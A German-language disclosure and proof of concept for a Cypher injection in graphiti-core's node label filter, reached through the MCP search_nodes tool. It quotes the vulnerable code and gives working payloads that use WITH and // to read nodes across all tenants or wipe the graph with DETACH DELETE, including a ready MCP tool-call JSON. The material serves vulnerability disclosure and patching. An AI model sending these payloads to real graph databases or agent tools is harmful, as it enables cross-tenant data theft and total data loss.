
Proof-of-Concept für CVE-2026-32247, eine Cypher-Injection in graphiti-core über nicht bereinigte node_labels, die Datenexfiltration und Graph-Löschung über MCP search_nodes demonstriert.
Schweregrad: Hoch (CVSS 8.1)
CWE: CWE-943 — Unsachgemäße Neutralisierung spezieller Elemente in der Datenabfragelogik
Betroffen: graphiti-core <= 0.28.1 (pip)
Behoben in: 0.28.2
Sicherheitshinweis: GHSA-gg5m-55jj-8m5g
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32247
Danksagung: Romain Deperne
graphiti-core erstellt Cypher-WHERE-Klauseln, indem benutzerseitig bereitgestellte Node-Label-Strings mit | verknüpft und in eine Rohabfrage eingefügt werden. Ein Angreifer kann beliebige Cypher-Operatoren injizieren, Daten aus jedem Graph-Node über alle Mandanten hinweg exfiltrieren oder den gesamten Graphen löschen — keine Parametrisierung, keine Validierung an irgendeiner Stelle der Kette.
Ich habe die Abfragekonstruktion an der Grenze zwischen dem MCP-Tool und der Graphdatenbank untersucht. In search_filters.py wurden Werte aus dem Tool-Parameter entity_types durch 'n:' + node_labels direkt in eine Cypher-Abfrage eingefügt.
Was dies über eine Standard-Injection hinaus interessant machte: Die WITH-Klausel von Cypher ermöglicht es, aus einem WHERE-Kontext auszubrechen und eine vollständig neue Pipeline zu beginnen. So schließt ) den geklammerten Label-Ausdruck, WITH n wechselt zu einer neuen Klausel, und // verwirft stillschweigend den Rest der ursprünglichen Abfrage. Eine einzige Payload, vollständiger Graphzugriff.
Ich habe die Abfragekonstruktion zunächst in einem eigenständigen Skript reproduziert und dann den destruktiven Fall gegen eine Graphdatenbank verifiziert, bevor ich ihn gemeldet habe.
Datei: graphiti_core/search/search_filters.py, Zeilen 91–92 und 134–135
# Vulnerable code — exact copy from source
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter is then interpolated into a Cypher WHERE clause
Einstiegspunkt: mcp_server/src/graphiti_mcp_server.py, Zeile 441
search_filters = SearchFilters(
node_labels=entity_types, # user input passed directly, no validation
)
Der Parameter entity_types fließt vom MCP-Tool-Aufruf search_nodes direkt in den Query-Builder. Sowohl die Neo4j- als auch die FalkorDB-Backends sind betroffen. Das Kuzu-Backend ist nicht betroffen, da es parametrisierte Abfragen verwendet.
Der Wert node_label_filter (n:Label1|Label2) wird in eine Cypher-Abfrage eingebettet als:
WHERE (n:Label1|Label2) AND ...
Da Labels durch | verbunden und vom Aufrufer in Klammern gesetzt werden, muss ein Angreifer nur den Ausdruck mit ) schließen und neue Cypher-Klauseln injizieren. Der Kommentaroperator // unterdrückt den Rest der ursprünglichen Abfrage.
# Exact logic from search_filters.py lines 91-92
def build_filter(node_labels):
labels = '|'.join(node_labels)
return 'n:' + labels
# Benign
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization → WHERE (n:Person|Organization) AND ...
# Exfiltration: read all nodes across all groups
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Full Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# The `) closes the WHERE, WITH starts a new pipeline, // drops the rest
# Deletion: wipe the entire graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))
Über MCP-Tool-Aufruf:
{
"tool": "search_nodes",
"arguments": {
"query": "test",
"entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
}
}
group_id-Namespaces hinwegDETACH DELETE löscht den gesamten Graphengroup_id-Filter wird nach dem injizierbaren Label-Filter angewendet — das Injizieren einer WITH-Klausel umgeht ihn vollständigDie gepatchte Version validiert Knoten-Labels gegen eine Allowlist alphanumerischer Zeichen vor der Interpolation, und der Volltextsuchpfad verwendet parametrisierte Abfragen für group_id-Werte.